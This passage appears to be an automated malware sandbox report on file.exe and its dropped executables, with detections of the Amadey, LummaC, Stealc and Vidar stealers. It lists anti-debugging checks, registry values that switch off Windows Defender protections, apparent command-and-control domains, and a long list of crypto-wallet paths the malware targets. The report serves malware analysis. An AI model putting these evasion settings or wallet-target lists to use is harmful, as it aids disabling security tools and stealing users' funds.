Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe

Code function: 9_2_04CE06DC rdtsc

9_2_04CE06DC

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Code function: 11_2_00430F10 LdrInitializeThunk,

11_2_00430F10

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D0652B mov eax, dword ptr fs:[00000030h]	9_2_00D0652B
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Code function: 9_2_00D0A302 mov eax, dword ptr fs:[00000030h]	9_2_00D0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E0A302 mov eax, dword ptr fs:[00000030h]	12_2_00E0A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 12_2_00E0652B mov eax, dword ptr fs:[00000030h]	12_2_00E0652B

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_6C7CAC62

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 2448, type: MEMORYSTR

LummaC encrypted strings found

Source: d1e0007322.exe	String found in binary or memory: scriptyprefej.store
Source: d1e0007322.exe	String found in binary or memory: navygenerayk.store
Source: d1e0007322.exe	String found in binary or memory: founpiuer.store
Source: d1e0007322.exe	String found in binary or memory: necklacedmny.store
Source: d1e0007322.exe	String found in binary or memory: thumbystriw.store
Source: d1e0007322.exe	String found in binary or memory: fadehairucw.store
Source: d1e0007322.exe	String found in binary or memory: crisiwarny.store
Source: d1e0007322.exe	String found in binary or memory: presticitpo.store

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsFCFIJEBFCG.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsFCFIJEBFCG.exe "C:\Users\user\DocumentsFCFIJEBFCG.exe"	Jump to behavior
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe "C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe "C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe "C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C814760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

0_2_6C814760

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C6F1C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

0_2_6C6F1C30

Source: DocumentsFCFIJEBFCG.exe, 00000009.00000002.2132345632.0000000000F04000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 0000000C.00000002.2321546194.0000000001004000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 00000017.00000002.2929895520.0000000001004000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: uProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2075279869.000000000115A000.00000040.00000001.01000000.00000003.sdmp, 4172e6dca8.exe, 0000000D.00000002.2341868847.00000000012CA000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Program Manager
Source: 081eb93126.exe, 00000016.00000002.2823687057.000000000116C000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: vIProgram Manager
Source: d1e0007322.exe, 0000000B.00000002.2650258140.0000000000617000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: ^Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CAE71 cpuid

0_2_6C7CAE71

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005667001\decrypter.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1005667001\decrypter.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1005664001\4172e6dca8.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C7CA8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_6C7CA8DC

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C718390 NSS_GetVersion,

0_2_6C718390

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1005666001\081eb93126.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: d1e0007322.exe, 00000014.00000002.3269514272.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000DD2000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3258673400.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257681427.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2817387446.0000000000E37000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000002.3265790234.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2826312566.0000000000E52000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.3257605259.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, d1e0007322.exe, 00000014.00000003.2825239570.0000000000E56000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: d1e0007322.exe, 00000014.00000003.3218380278.0000000000E37000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: dows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1005663001\d1e0007322.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 24.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 23.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DocumentsFCFIJEBFCG.exe.cd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.skotes.exe.dd0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000002.4123331034.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.2927567295.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2131892862.0000000000CD1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3523371917.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.4724390923.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.5925030724.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.5322756464.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2320408364.0000000000DD1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: d1e0007322.exe PID: 8020, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000D.00000002.2341575409.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2341019305.0000000000C7E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000003.2695121940.0000000005690000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2736567413.000000000184B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2491740211.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000015.00000002.2735614002.0000000000F01000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.2448884433.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1672323842.00000000053F0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2300326058.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075096888.0000000000D91000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2075634451.000000000191E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.2490263073.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 5232, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 7320, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 4172e6dca8.exe PID: 2448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7304, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Jaxx Desktop (old)
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: file.exe, 00000000.00000002.2075096888.0000000000E45000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: info.seco
Source: file.exe, 00000000.00000002.2075096888.0000000000E14000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 